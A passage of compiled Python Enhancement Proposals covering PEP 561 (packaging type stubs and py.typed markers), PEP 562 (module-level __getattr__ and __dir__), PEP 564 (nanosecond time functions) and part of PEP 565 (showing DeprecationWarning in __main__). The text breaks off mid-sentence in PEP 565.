PEP 561 – Distributing and Packaging Type Information Author: Ethan Smith <ethan at ethanhs.me> Status: Final Type: Standards Track Topic: Packaging, Typing Created: 09-Sep-2017 Python-Version: 3.7 Post-History: 10-Sep-2017, 12-Sep-2017, 06-Oct-2017, 26-Oct-2017, 12-Apr-2018 Table of Contents Abstract Rationale Definition of Terms Specification Packaging Type Information Stub-only Packages Type Checker Module Resolution Order Partial Stub Packages Implementation Acknowledgements Version History References Copyright Abstract PEP 484 introduced type hinting to Python, with goals of making typing gradual and easy to adopt. Currently, typing information must be distributed manually. This PEP provides a standardized means to leverage existing tooling to package and distribute type information with minimal work and an ordering for type checkers to resolve modules and collect this information for type checking. Rationale Currently, package authors wish to distribute code that has inline type information. Additionally, maintainers would like to distribute stub files to keep Python 2 compatibility while using newer annotation syntax. However, there is no standard method to distribute packages with type information. Also, if one wished to ship stub files privately the only method available would be via setting MYPYPATH or the equivalent to manually point to stubs. If the package can be released publicly, it can be added to typeshed [1]. However, this does not scale and becomes a burden on the maintainers of typeshed. In addition, it ties bug fixes in stubs to releases of the tool using typeshed. PEP 484 has a brief section on distributing typing information. In this section the PEP recommends using shared/typehints/pythonX.Y/ for shipping stub files. However, manually adding a path to stub files for each third party library does not scale. The simplest approach people have taken is to add site-packages to their MYPYPATH, but this causes type checkers to fail on packages that are highly dynamic (e.g. sqlalchemy and Django). Definition of Terms The definition of “MAY”, “MUST”, and “SHOULD”, and “SHOULD NOT” are to be interpreted as described in RFC 2119. “inline” - the types are part of the runtime code using PEP 526 and PEP 3107 syntax (the filename ends in .py). “stubs” - files containing only type information, empty of runtime code (the filename ends in .pyi). “Distributions” are the packaged files which are used to publish and distribute a release. (PEP 426) “Module” a file containing Python runtime code or stubbed type information. “Package” a directory or directories that namespace Python modules. (Note the distinction between packages and distributions. While most distributions are named after the one package they install, some distributions install multiple packages.) Specification There are several motivations and methods of supporting typing in a package. This PEP recognizes three types of packages that users of typing wish to create: The package maintainer would like to add type information inline. The package maintainer would like to add type information via stubs. A third party or package maintainer would like to share stub files for a package, but the maintainer does not want to include them in the source of the package. This PEP aims to support all three scenarios and make them simple to add to packaging and deployment. The two major parts of this specification are the packaging specifications and the resolution order for resolving module type information. The type checking spec is meant to replace the shared/typehints/pythonX.Y/ spec of PEP 484. New third party stub libraries SHOULD distribute stubs via the third party packaging methods proposed in this PEP in place of being added to typeshed. Typeshed will remain in use, but if maintainers are found, third party stubs in typeshed MAY be split into their own package. Packaging Type Information In order to make packaging and distributing type information as simple and easy as possible, packaging and distribution is done through existing frameworks. Package maintainers who wish to support type checking of their code MUST add a marker file named py.typed to their package supporting typing. This marker applies recursively: if a top-level package includes it, all its sub-packages MUST support type checking as well. To have this file installed with the package, maintainers can use existing packaging options such as package_data in distutils, shown below. Distutils option example: setup( ..., package_data = { 'foopkg': ['py.typed'], }, ..., ) For namespace packages (see PEP 420), the py.typed file should be in the submodules of the namespace, to avoid conflicts and for clarity. This PEP does not support distributing typing information as part of module-only distributions or single-file modules within namespace packages. The single-file module should be refactored into a package and indicate that the package supports typing as described above. Stub-only Packages For package maintainers wishing to ship stub files containing all of their type information, it is preferred that the *.pyi stubs are alongside the corresponding *.py files. However, the stubs can also be put in a separate package and distributed separately. Third parties can also find this method useful if they wish to distribute stub files. The name of the stub package MUST follow the scheme foopkg-stubs for type stubs for the package named foopkg. Note that for stub-only packages adding a py.typed marker is not needed since the name *-stubs is enough to indicate it is a source of typing information. Third parties seeking to distribute stub files are encouraged to contact the maintainer of the package about distribution alongside the package. If the maintainer does not wish to maintain or package stub files or type information inline, then a third party stub-only package can be created. In addition, stub-only distributions SHOULD indicate which version(s) of the runtime package are supported by indicating the runtime distribution’s version(s) through normal dependency data. For example, the stub package flyingcircus-stubs can indicate the versions of the runtime flyingcircus distribution it supports through install_requires in distutils-based tools, or the equivalent in other packaging tools. Note that in pip 9.0, if you update flyingcircus-stubs, it will update flyingcircus. In pip 9.0, you can use the --upgrade-strategy=only-if-needed flag. In pip 10.0 this is the default behavior. For namespace packages (see PEP 420), stub-only packages should use the -stubs suffix on only the root namespace package. All stub-only namespace packages should omit __init__.pyi files. py.typed marker files are not necessary for stub-only packages, but similarly to packages with inline types, if used, they should be in submodules of the namespace to avoid conflicts and for clarity. For example, if the pentagon and hexagon are separate distributions installing within the namespace package shapes.polygons The corresponding types-only distributions should produce packages laid out as follows: shapes-stubs └── polygons └── pentagon └── __init__.pyi shapes-stubs └── polygons └── hexagon    └── __init__.pyi Type Checker Module Resolution Order The following is the order in which type checkers supporting this PEP SHOULD resolve modules containing type information: Stubs or Python source manually put in the beginning of the path. Type checkers SHOULD provide this to allow the user complete control of which stubs to use, and to patch broken stubs/inline types from packages. In mypy the $MYPYPATH environment variable can be used for this. User code - the files the type checker is running on. Stub packages - these packages SHOULD supersede any installed inline package. They can be found at foopkg-stubs for package foopkg. Packages with a py.typed marker file - if there is nothing overriding the installed package, and it opts into type checking, the types bundled with the package SHOULD be used (be they in .pyi type stub files or inline in .py files). Typeshed (if used) - Provides the stdlib types and several third party libraries. If typecheckers identify a stub-only namespace package without the desired module in step 3, they should continue to step 4/5. Typecheckers should identify namespace packages by the absence of __init__.pyi. This allows different subpackages to independently opt for inline vs stub-only. Type checkers that check a different Python version than the version they run on MUST find the type information in the site-packages/dist-packages of that Python version. This can be queried e.g. pythonX.Y -c 'import site; print(site.getsitepackages())'. It is also recommended that the type checker allow for the user to point to a particular Python binary, in case it is not in the path. Partial Stub Packages Many stub packages will only have part of the type interface for libraries completed, especially initially. For the benefit of type checking and code editors, packages can be “partial”. This means modules not found in the stub package SHOULD be searched for in parts four and five of the module resolution order above, namely inline packages and typeshed. Type checkers should merge the stub package and runtime package or typeshed directories. This can be thought of as the functional equivalent of copying the stub package into the same directory as the corresponding runtime package or typeshed folder and type checking the combined directory structure. Thus type checkers MUST maintain the normal resolution order of checking *.pyi before *.py files. If a stub package distribution is partial it MUST include partial\n in a py.typed file. For stub-packages distributing within a namespace package (see PEP 420), the py.typed file should be in the submodules of the namespace. Type checkers should treat namespace packages within stub-packages as incomplete since multiple distributions may populate them. Regular packages within namespace packages in stub-package distributions are considered complete unless a py.typed with partial\n is included. Implementation The proposed scheme of indicating support for typing is completely backwards compatible, and requires no modification to package tooling. A sample package with inline types is available [typed_package], as well as a [stub_package]. A sample package checker [pkg_checker] which reads the metadata of installed packages and reports on their status as either not typed, inline typed, or a stub package. The mypy type checker has an implementation of PEP 561 searching which can be read about in the mypy docs [4]. [numpy-stubs] is an example of a real stub-only package for the numpy distribution. Acknowledgements This PEP would not have been possible without the ideas, feedback, and support of Ivan Levkivskyi, Jelle Zijlstra, Alyssa Coghlan, Daniel F Moisset, Andrey Vlasovskikh, Nathaniel Smith, and Guido van Rossum. Version History 2023-01-13 Clarify that the 4th step of the Module Resolution Order applies to any package with a py.typed marker file (and not just inline packages). 2021-09-20 Clarify expectations and typechecker behavior for stub-only namespace packages Clarify handling of single-file modules within namespace packages. 2018-07-09 Add links to sample stub-only packages 2018-06-19 Partial stub packages can look at typeshed as well as runtime packages 2018-05-15 Add partial stub package spec. 2018-04-09 Add reference to mypy implementation Clarify stub package priority. 2018-02-02 Change stub-only package suffix to be -stubs not _stubs. Note that py.typed is not needed for stub-only packages. Add note about pip and upgrading stub packages. 2017-11-12 Rewritten to use existing tooling only No need to indicate kind of type information in metadata Name of marker file changed from .typeinfo to py.typed 2017-11-10 Specification re-written to use package metadata instead of distribution metadata. Removed stub-only packages and merged into third party packages spec. Removed suggestion for typecheckers to consider checking runtime versions Implementations updated to reflect PEP changes. 2017-10-26 Added implementation references. Added acknowledgements and version history. 2017-10-06 Rewritten to use .distinfo/METADATA over a distutils specific command. Clarify versioning of third party stub packages. 2017-09-11 Added information about current solutions and typeshed. Clarify rationale. References [1] Typeshed (https://github.com/python/typeshed) [4] Example implementation in a type checker (https://mypy.readthedocs.io/en/latest/installed_packages.html) [stub_package] A stub-only package (https://github.com/ethanhs/stub-package) [typed_package] Sample typed package (https://github.com/ethanhs/sample-typed-package) [numpy-stubs] Stubs for numpy (https://github.com/numpy/numpy-stubs) [pkg_checker] Sample package checker (https://github.com/ethanhs/check_typedpkg) Copyright This document has been placed in the public domain.

Final

PEP 561 – Distributing and Packaging Type Information

Standards Track

PEP 484 introduced type hinting to Python, with goals of making typing gradual and easy to adopt. Currently, typing information must be distributed manually. This PEP provides a standardized means to leverage existing tooling to package and distribute type information with minimal work and an ordering for type checkers to resolve modules and collect this information for type checking.

PEP 562 – Module __getattr__ and __dir__ Author: Ivan Levkivskyi <levkivskyi at gmail.com> Status: Final Type: Standards Track Created: 09-Sep-2017 Python-Version: 3.7 Post-History: 09-Sep-2017 Resolution: Python-Dev message Table of Contents Abstract Rationale Specification Backwards compatibility and impact on performance Discussion References Copyright Abstract It is proposed to support __getattr__ and __dir__ function defined on modules to provide basic customization of module attribute access. Rationale It is sometimes convenient to customize or otherwise have control over access to module attributes. A typical example is managing deprecation warnings. Typical workarounds are assigning __class__ of a module object to a custom subclass of types.ModuleType or replacing the sys.modules item with a custom wrapper instance. It would be convenient to simplify this procedure by recognizing __getattr__ defined directly in a module that would act like a normal __getattr__ method, except that it will be defined on module instances. For example: # lib.py from warnings import warn deprecated_names = ["old_function", ...] def _deprecated_old_function(arg, other): ... def __getattr__(name): if name in deprecated_names: warn(f"{name} is deprecated", DeprecationWarning) return globals()[f"_deprecated_{name}"] raise AttributeError(f"module {__name__!r} has no attribute {name!r}") # main.py from lib import old_function # Works, but emits the warning Another widespread use case for __getattr__ would be lazy submodule imports. Consider a simple example: # lib/__init__.py import importlib __all__ = ['submod', ...] def __getattr__(name): if name in __all__: return importlib.import_module("." + name, __name__) raise AttributeError(f"module {__name__!r} has no attribute {name!r}") # lib/submod.py print("Submodule loaded") class HeavyClass: ... # main.py import lib lib.submod.HeavyClass # prints "Submodule loaded" There is a related proposal PEP 549 that proposes to support instance properties for a similar functionality. The difference is this PEP proposes a faster and simpler mechanism, but provides more basic customization. An additional motivation for this proposal is that PEP 484 already defines the use of module __getattr__ for this purpose in Python stub files, see PEP 484. In addition, to allow modifying result of a dir() call on a module to show deprecated and other dynamically generated attributes, it is proposed to support module level __dir__ function. For example: # lib.py deprecated_names = ["old_function", ...] __all__ = ["new_function_one", "new_function_two", ...] def new_function_one(arg, other): ... def new_function_two(arg, other): ... def __dir__(): return sorted(__all__ + deprecated_names) # main.py import lib dir(lib) # prints ["new_function_one", "new_function_two", "old_function", ...] Specification The __getattr__ function at the module level should accept one argument which is the name of an attribute and return the computed value or raise an AttributeError: def __getattr__(name: str) -> Any: ... If an attribute is not found on a module object through the normal lookup (i.e. object.__getattribute__), then __getattr__ is searched in the module __dict__ before raising an AttributeError. If found, it is called with the attribute name and the result is returned. Looking up a name as a module global will bypass module __getattr__. This is intentional, otherwise calling __getattr__ for builtins will significantly harm performance. The __dir__ function should accept no arguments, and return a list of strings that represents the names accessible on module: def __dir__() -> List[str]: ... If present, this function overrides the standard dir() search on a module. The reference implementation for this PEP can be found in [2]. Backwards compatibility and impact on performance This PEP may break code that uses module level (global) names __getattr__ and __dir__. (But the language reference explicitly reserves all undocumented dunder names, and allows “breakage without warning”; see [3].) The performance implications of this PEP are minimal, since __getattr__ is called only for missing attributes. Some tools that perform module attributes discovery might not expect __getattr__. This problem is not new however, since it is already possible to replace a module with a module subclass with overridden __getattr__ and __dir__, but with this PEP such problems can occur more often. Discussion Note that the use of module __getattr__ requires care to keep the referred objects pickleable. For example, the __name__ attribute of a function should correspond to the name with which it is accessible via __getattr__: def keep_pickleable(func): func.__name__ = func.__name__.replace('_deprecated_', '') func.__qualname__ = func.__qualname__.replace('_deprecated_', '') return func @keep_pickleable def _deprecated_old_function(arg, other): ... One should be also careful to avoid recursion as one would do with a class level __getattr__. To use a module global with triggering __getattr__ (for example if one wants to use a lazy loaded submodule) one can access it as: sys.modules[__name__].some_global or as: from . import some_global Note that the latter sets the module attribute, thus __getattr__ will be called only once. References [2] The reference implementation (https://github.com/ilevkivskyi/cpython/pull/3/files) [3] Reserved classes of identifiers (https://docs.python.org/3/reference/lexical_analysis.html#reserved-classes-of-identifiers) Copyright This document has been placed in the public domain.

Final

PEP 562 – Module __getattr__ and __dir__

Standards Track

It is proposed to support __getattr__ and __dir__ function defined on modules to provide basic customization of module attribute access.

PEP 564 – Add new time functions with nanosecond resolution Author: Victor Stinner <vstinner at python.org> Status: Final Type: Standards Track Created: 16-Oct-2017 Python-Version: 3.7 Resolution: Python-Dev message Table of Contents Abstract Rationale Float type limited to 104 days Previous rejected PEP Issues caused by precision loss Example 1: measure time delta in long-running process Example 2: compare times with different resolution CPython enhancements of the last 5 years Existing Python APIs using nanoseconds as int Changes New functions Unchanged functions Alternatives and discussion Sub-nanosecond resolution Modifying time.time() result type Different types Different API A new module Annex: Clocks Resolution in Python Script Linux Windows Analysis Links Copyright Abstract Add six new “nanosecond” variants of existing functions to the time module: clock_gettime_ns(), clock_settime_ns(), monotonic_ns(), perf_counter_ns(), process_time_ns() and time_ns(). While similar to the existing functions without the _ns suffix, they provide nanosecond resolution: they return a number of nanoseconds as a Python int. The time.time_ns() resolution is 3 times better than the time.time() resolution on Linux and Windows. Rationale Float type limited to 104 days The clocks resolution of desktop and laptop computers is getting closer to nanosecond resolution. More and more clocks have a frequency in MHz, up to GHz for the CPU TSC clock. The Python time.time() function returns the current time as a floating-point number which is usually a 64-bit binary floating-point number (in the IEEE 754 format). The problem is that the float type starts to lose nanoseconds after 104 days. Converting from nanoseconds (int) to seconds (float) and then back to nanoseconds (int) to check if conversions lose precision: # no precision loss >>> x = 2 ** 52 + 1; int(float(x * 1e-9) * 1e9) - x 0 # precision loss! (1 nanosecond) >>> x = 2 ** 53 + 1; int(float(x * 1e-9) * 1e9) - x -1 >>> print(datetime.timedelta(seconds=2 ** 53 / 1e9)) 104 days, 5:59:59.254741 time.time() returns seconds elapsed since the UNIX epoch: January 1st, 1970. This function hasn’t had nanosecond precision since May 1970 (47 years ago): >>> import datetime >>> unix_epoch = datetime.datetime(1970, 1, 1) >>> print(unix_epoch + datetime.timedelta(seconds=2**53 / 1e9)) 1970-04-15 05:59:59.254741 Previous rejected PEP Five years ago, the PEP 410 proposed a large and complex change in all Python functions returning time to support nanosecond resolution using the decimal.Decimal type. The PEP was rejected for different reasons: The idea of adding a new optional parameter to change the result type was rejected. It’s an uncommon (and bad?) programming practice in Python. It was not clear if hardware clocks really had a resolution of 1 nanosecond, or if that made sense at the Python level. The decimal.Decimal type is uncommon in Python and so requires to adapt code to handle it. Issues caused by precision loss Example 1: measure time delta in long-running process A server is running for longer than 104 days. A clock is read before and after running a function to measure its performance to detect performance issues at runtime. Such benchmark only loses precision because of the float type used by clocks, not because of the clock resolution. On Python microbenchmarks, it is common to see function calls taking less than 100 ns. A difference of a few nanoseconds might become significant. Example 2: compare times with different resolution Two programs “A” and “B” are running on the same system and use the system clock. The program A reads the system clock with nanosecond resolution and writes a timestamp with nanosecond resolution. The program B reads the timestamp with nanosecond resolution, but compares it to the system clock read with a worse resolution. To simplify the example, let’s say that B reads the clock with second resolution. If that case, there is a window of 1 second while the program B can see the timestamp written by A as “in the future”. Nowadays, more and more databases and filesystems support storing times with nanosecond resolution. Note This issue was already fixed for file modification time by adding the st_mtime_ns field to the os.stat() result, and by accepting nanoseconds in os.utime(). This PEP proposes to generalize the fix. CPython enhancements of the last 5 years Since the PEP 410 was rejected: The os.stat_result structure got 3 new fields for timestamps as nanoseconds (Python int): st_atime_ns, st_ctime_ns and st_mtime_ns. The PEP 418 was accepted, Python 3.3 got 3 new clocks: time.monotonic(), time.perf_counter() and time.process_time(). The CPython private “pytime” C API handling time now uses a new _PyTime_t type: simple 64-bit signed integer (C int64_t). The _PyTime_t unit is an implementation detail and not part of the API. The unit is currently 1 nanosecond. Existing Python APIs using nanoseconds as int The os.stat_result structure has 3 fields for timestamps as nanoseconds (int): st_atime_ns, st_ctime_ns and st_mtime_ns. The ns parameter of the os.utime() function accepts a (atime_ns: int, mtime_ns: int) tuple: nanoseconds. Changes New functions This PEP adds six new functions to the time module: time.clock_gettime_ns(clock_id) time.clock_settime_ns(clock_id, time: int) time.monotonic_ns() time.perf_counter_ns() time.process_time_ns() time.time_ns() These functions are similar to the version without the _ns suffix, but return a number of nanoseconds as a Python int. For example, time.monotonic_ns() == int(time.monotonic() * 1e9) if monotonic() value is small enough to not lose precision. These functions are needed because they may return “large” timestamps, like time.time() which uses the UNIX epoch as reference, and so their float-returning variants are likely to lose precision at the nanosecond resolution. Unchanged functions Since the time.clock() function was deprecated in Python 3.3, no time.clock_ns() is added. Python has other time-returning functions. No nanosecond variant is proposed for these other functions, either because their internal resolution is greater or equal to 1 us, or because their maximum value is small enough to not lose precision. For example, the maximum value of time.clock_getres() should be 1 second. Examples of unchanged functions: os module: sched_rr_get_interval(), times(), wait3() and wait4() resource module: ru_utime and ru_stime fields of getrusage() signal module: getitimer(), setitimer() time module: clock_getres() See also the Annex: Clocks Resolution in Python. A new nanosecond-returning flavor of these functions may be added later if an operating system exposes new functions providing better resolution. Alternatives and discussion Sub-nanosecond resolution time.time_ns() API is not theoretically future-proof: if clock resolutions continue to increase below the nanosecond level, new Python functions may be needed. In practice, the 1 nanosecond resolution is currently enough for all structures returned by all common operating systems functions. Hardware clocks with a resolution better than 1 nanosecond already exist. For example, the frequency of a CPU TSC clock is the CPU base frequency: the resolution is around 0.3 ns for a CPU running at 3 GHz. Users who have access to such hardware and really need sub-nanosecond resolution can however extend Python for their needs. Such a rare use case doesn’t justify to design the Python standard library to support sub-nanosecond resolution. For the CPython implementation, nanosecond resolution is convenient: the standard and well supported int64_t type can be used to store a nanosecond-precise timestamp. It supports a timespan of -292 years to +292 years. Using the UNIX epoch as reference, it therefore supports representing times since year 1677 to year 2262: >>> 1970 - 2 ** 63 / (10 ** 9 * 3600 * 24 * 365.25) 1677.728976954687 >>> 1970 + 2 ** 63 / (10 ** 9 * 3600 * 24 * 365.25) 2262.271023045313 Modifying time.time() result type It was proposed to modify time.time() to return a different number type with better precision. The PEP 410 proposed to return decimal.Decimal which already exists and supports arbitrary precision, but it was rejected. Apart from decimal.Decimal, no portable real number type with better precision is currently available in Python. Changing the built-in Python float type is out of the scope of this PEP. Moreover, changing existing functions to return a new type introduces a risk of breaking the backward compatibility even if the new type is designed carefully. Different types Many ideas of new types were proposed to support larger or arbitrary precision: fractions, structures or 2-tuple using integers, fixed-point number, etc. See also the PEP 410 for a previous long discussion on other types. Adding a new type requires more effort to support it, than reusing the existing int type. The standard library, third party code and applications would have to be modified to support it. The Python int type is well known, well supported, easy to manipulate, and supports all arithmetic operations such as dt = t2 - t1. Moreover, taking/returning an integer number of nanoseconds is not a new concept in Python, as witnessed by os.stat_result and os.utime(ns=(atime_ns, mtime_ns)). Note If the Python float type becomes larger (e.g. decimal128 or float128), the time.time() precision will increase as well. Different API The time.time(ns=False) API was proposed to avoid adding new functions. It’s an uncommon (and bad?) programming practice in Python to change the result type depending on a parameter. Different options were proposed to allow the user to choose the time resolution. If each Python module uses a different resolution, it can become difficult to handle different resolutions, instead of just seconds (time.time() returning float) and nanoseconds (time.time_ns() returning int). Moreover, as written above, there is no need for resolution better than 1 nanosecond in practice in the Python standard library. A new module It was proposed to add a new time_ns module containing the following functions: time_ns.clock_gettime(clock_id) time_ns.clock_settime(clock_id, time: int) time_ns.monotonic() time_ns.perf_counter() time_ns.process_time() time_ns.time() The first question is whether the time_ns module should expose exactly the same API (constants, functions, etc.) as the time module. It can be painful to maintain two flavors of the time module. How are users use supposed to make a choice between these two modules? If tomorrow, other nanosecond variants are needed in the os module, will we have to add a new os_ns module as well? There are functions related to time in many modules: time, os, signal, resource, select, etc. Another idea is to add a time.ns submodule or a nested-namespace to get the time.ns.time() syntax, but it suffers from the same issues. Annex: Clocks Resolution in Python This annex contains the resolution of clocks as measured in Python, and not the resolution announced by the operating system or the resolution of the internal structure used by the operating system. Script Example of script to measure the smallest difference between two time.time() and time.time_ns() reads ignoring differences of zero: import math import time LOOPS = 10 ** 6 print("time.time_ns(): %s" % time.time_ns()) print("time.time(): %s" % time.time()) min_dt = [abs(time.time_ns() - time.time_ns()) for _ in range(LOOPS)] min_dt = min(filter(bool, min_dt)) print("min time_ns() delta: %s ns" % min_dt) min_dt = [abs(time.time() - time.time()) for _ in range(LOOPS)] min_dt = min(filter(bool, min_dt)) print("min time() delta: %s ns" % math.ceil(min_dt * 1e9)) Linux Clocks resolution measured in Python on Fedora 26 (kernel 4.12): Function Resolution clock() 1 us monotonic() 81 ns monotonic_ns() 84 ns perf_counter() 82 ns perf_counter_ns() 84 ns process_time() 2 ns process_time_ns() 1 ns resource.getrusage() 1 us time() 239 ns time_ns() 84 ns times().elapsed 10 ms times().user 10 ms Notes on resolutions: clock() frequency is CLOCKS_PER_SECOND which is 1,000,000 Hz (1 MHz): resolution of 1 us. times() frequency is os.sysconf("SC_CLK_TCK") (or the HZ constant) which is equal to 100 Hz: resolution of 10 ms. resource.getrusage(), os.wait3() and os.wait4() use the ru_usage structure. The type of the ru_usage.ru_utime and ru_usage.ru_stime fields is the timeval structure which has a resolution of 1 us. Windows Clocks resolution measured in Python on Windows 8.1: Function Resolution monotonic() 15 ms monotonic_ns() 15 ms perf_counter() 100 ns perf_counter_ns() 100 ns process_time() 15.6 ms process_time_ns() 15.6 ms time() 894.1 us time_ns() 318 us The frequency of perf_counter() and perf_counter_ns() comes from QueryPerformanceFrequency(). The frequency is usually 10 MHz: resolution of 100 ns. In old Windows versions, the frequency was sometimes 3,579,545 Hz (3.6 MHz): resolution of 279 ns. Analysis The resolution of time.time_ns() is much better than time.time(): 84 ns (2.8x better) vs 239 ns on Linux and 318 us (2.8x better) vs 894 us on Windows. The time.time() resolution will only become larger (worse) as years pass since every day adds 86,400,000,000,000 nanoseconds to the system clock, which increases the precision loss. The difference between time.perf_counter(), time.monotonic(), time.process_time() and their respective nanosecond variants is not visible in this quick script since the script runs for less than 1 minute, and the uptime of the computer used to run the script was smaller than 1 week. A significant difference may be seen if uptime reaches 104 days or more. resource.getrusage() and times() have a resolution greater or equal to 1 microsecond, and so don’t need a variant with nanosecond resolution. Note Internally, Python starts monotonic() and perf_counter() clocks at zero on some platforms which indirectly reduce the precision loss. Links bpo-31784: Implementation of the PEP 564 Copyright This document has been placed in the public domain.

Final

PEP 564 – Add new time functions with nanosecond resolution

Standards Track

Add six new “nanosecond” variants of existing functions to the time module: clock_gettime_ns(), clock_settime_ns(), monotonic_ns(), perf_counter_ns(), process_time_ns() and time_ns(). While similar to the existing functions without the _ns suffix, they provide nanosecond resolution: they return a number of nanoseconds as a Python int.

PEP 565 – Show DeprecationWarning in __main__ Author: Alyssa Coghlan <ncoghlan at gmail.com> Status: Final Type: Standards Track Created: 12-Nov-2017 Python-Version: 3.7 Post-History: 12-Nov-2017, 25-Nov-2017 Resolution: Python-Dev message Table of Contents Abstract Specification New default warnings filter entry Additional use case for FutureWarning Recommended filter settings for test runners Recommended filter settings for interactive shells Other documentation updates Reference Implementation Motivation Limitations on PEP Scope References Copyright Abstract In Python 2.7 and Python 3.2, the default warning filters were updated to hide DeprecationWarning by default, such that deprecation warnings in development tools that were themselves written in Python (e.g. linters, static analysers, test runners, code generators), as well as any other applications that merely happened to be written in Python, wouldn’t be visible to their users unless those users explicitly opted in to seeing them. However, this change has had the unfortunate side effect of making DeprecationWarning markedly less effective at its primary intended purpose: providing advance notice of breaking changes in APIs (whether in CPython, the standard library, or in third party libraries) to users of those APIs. To improve this situation, this PEP proposes a single adjustment to the default warnings filter: displaying deprecation warnings attributed to the main module by default. This change will mean that code entered at the interactive prompt and code in single file scripts will revert to reporting these warnings by default, while they will continue to be silenced by default for packaged code distributed as part of an importable module. The PEP also proposes a number of small adjustments to the reference interpreter and standard library documentation to help make the warnings subsystem more approachable for new Python developers. As part of the documentation updates, it will be made clearer that the unittest test runner displays all warnings by default when executing test cases, and that other test runners are advised to follow that example. Specification New default warnings filter entry The current set of default warnings filters consists of: ignore::DeprecationWarning ignore::PendingDeprecationWarning ignore::ImportWarning ignore::BytesWarning ignore::ResourceWarning The default unittest test runner then uses warnings.catch_warnings() warnings.simplefilter('default') to override the default filters while running test cases. The change proposed in this PEP is to update the default warning filter list to be: default::DeprecationWarning:__main__ ignore::DeprecationWarning ignore::PendingDeprecationWarning ignore::ImportWarning ignore::BytesWarning ignore::ResourceWarning This means that in cases where the nominal location of the warning (as determined by the stacklevel parameter to warnings.warn) is in the __main__ module, the first occurrence of each DeprecationWarning will once again be reported. This change will lead to DeprecationWarning being displayed by default for: code executed directly at the interactive prompt code executed directly as part of a single-file script While continuing to be hidden by default for: code imported from another module in a zipapp archive’s __main__.py file code imported from another module in an executable package’s __main__ submodule code imported from an executable script wrapper generated at installation time based on a console_scripts or gui_scripts entry point definition This means that tool developers that create an installable or executable artifact (such as a zipapp archive) for distribution to their users shouldn’t see any change from the status quo, while users of more ad hoc personal or locally distributed scripts are likely to start seeing relevant deprecation warnings again (as they did in Python 2.6 and earlier). Additional use case for FutureWarning The standard library documentation will be updated to explicitly recommend the use of FutureWarning (rather than DeprecationWarning) for backwards compatibility warnings that are intended to be seen by users of an application. (This will be in addition to the existing use of FutureWarning to warn about constructs that will remain valid code in the future, but will have different semantics). This will give the following three distinct categories of backwards compatibility warning, with three different intended audiences: PendingDeprecationWarning: hidden by default for all code. The intended audience is Python developers that take an active interest in ensuring the future compatibility of their software (e.g. professional Python application developers with specific support obligations). DeprecationWarning: reported by default for code that runs directly in the __main__ module (as such code is considered relatively unlikely to have a dedicated test suite), but hidden by default for code in other modules. The intended audience is Python developers that are at risk of upgrades to their dependencies (including upgrades to Python itself) breaking their software (e.g. developers using Python to script environments where someone else is in control of the timing of dependency upgrades). FutureWarning: reported by default for all code. The intended audience is users of applications written in Python, rather than other Python developers (e.g. warning about use of a deprecated setting in a configuration file format). For library and framework authors that want to ensure their API compatibility warnings are more reliably seen by their users, the recommendation is to use a custom warning class that derives from DeprecationWarning in Python 3.7+, and from FutureWarning in earlier versions. Recommended filter settings for test runners Developers of test runners are advised to implement logic equivalent to the following when determining their default warnings filters: if not sys.warnoptions: warnings.simplefilter("default") This effectively enables all warnings by default, as if the -Wd command line option had been passed. Note that actually enabling BytesWarning in a test suite still requires passing the -b option to the interpreter at the command line. For implicit bytes conversion and bytes comparison warnings, the warnings filter machinery is only used to determine whether they should be printed as warnings or raised as exceptions - when the command line flag isn’t set, the interpreter doesn’t even emit the warning in the first place. Recommended filter settings for interactive shells Developers of interactive shells are advised to add a filter that enables DeprecationWarning in the namespace where user code is entered and executed. If that namespace is __main__ (as it is for the default CPython REPL), then no changes are needed beyond those in this PEP. Interactive shell implementations which use a namespace other than __main__ will need to add their own filter. For example, IPython uses the following command ([6]) to set up a suitable filter: warnings.filterwarnings("default", category=DeprecationWarning, module=self.user_ns.get("__name__")) Other documentation updates The current reference documentation for the warnings system is relatively short on specific examples of possible settings for the -W command line option or the PYTHONWARNINGS environment variably that achieve particular end results. The following improvements are proposed as part of the implementation of this PEP: Explicitly list the following entries under the description of the PYTHONWARNINGS environment variable:PYTHONWARNINGS=error # Convert to exceptions PYTHONWARNINGS=always # Warn every time PYTHONWARNINGS=default # Warn once per call location PYTHONWARNINGS=module # Warn once per calling module PYTHONWARNINGS=once # Warn once per Python process PYTHONWARNINGS=ignore # Never warn Explicitly list the corresponding short options (-We, -Wa, -Wd, -Wm, -Wo, -Wi) for each of the warning actions listed under the -W command line switch documentation Explicitly list the default filter set in the warnings module documentation, using the action::category and action::category:module notation Explicitly list the following snippet in the warnings.simplefilter documentation as a recommended approach to turning off all warnings by default in a Python application while still allowing them to be turned back on via PYTHONWARNINGS or the -W command line switch:if not sys.warnoptions: warnings.simplefilter("ignore") None of these are new (they already work in all still supported Python versions), but they’re not especially obvious given the current structure of the related documentation. Reference Implementation A reference implementation is available in the PR [4] linked from the related tracker issue for this PEP [5]. As a side-effect of implementing this PEP, the internal warnings filter list will start allowing the use of plain strings as part of filter definitions (in addition to the existing use of compiled regular expressions). When present, the plain strings will be compared for exact matches only. This approach allows the new default filter to be added during interpreter startup without requiring early access to the re module. Motivation As discussed in [1] and mentioned in [2], Python 2.7 and Python 3.2 changed the default handling of DeprecationWarning such that: the warning was hidden by default during normal code execution the unittest test runner was updated to re-enable it when running tests The intent was to avoid cases of tooling output like the following: $ devtool mycode/ /usr/lib/python3.6/site-packages/devtool/cli.py:1: DeprecationWarning: 'async' and 'await' will become reserved keywords in Python 3.7 async = True ... actual tool output ... Even when devtool is a tool specifically for Python programmers, this is not a particularly useful warning, as it will be shown on every invocation, even though the main helpful step an end user can take is to report a bug to the developers of devtool. The warning is even less helpful for general purpose developer tools that are used across more languages than just Python, and almost entirely *un*helpful for applications that simply happen to be written in Python, and aren’t necessarily intended for a developer audience at all. However, this change proved to have unintended consequences for the following audiences: anyone using a test runner other than the default one built into unittest (the request for third party test runners to change their default warnings filters was never made explicitly, so many of them still rely on the interpreter defaults that are designed to suit deployed applications) anyone using the default unittest test runner to test their Python code in a subprocess (since even unittest only adjusts the warnings settings in the current process) anyone writing Python code at the interactive prompt or as part of a directly executed script that didn’t have a Python level test suite at all In these cases, DeprecationWarning ended up become almost entirely equivalent to PendingDeprecationWarning: it was simply never seen at all. Limitations on PEP Scope This PEP exists specifically to explain both the proposed addition to the default warnings filter for 3.7, and to more clearly articulate the rationale for the original change to the handling of DeprecationWarning back in Python 2.7 and 3.2. This PEP does not solve all known problems with the current approach to handling deprecation warnings. Most notably: The default unittest test runner does not currently report deprecation warnings emitted at module import time, as the warnings filter override is only put in place during test execution, not during test discovery and loading. The default unittest test runner does not currently report deprecation warnings in subprocesses, as the warnings filter 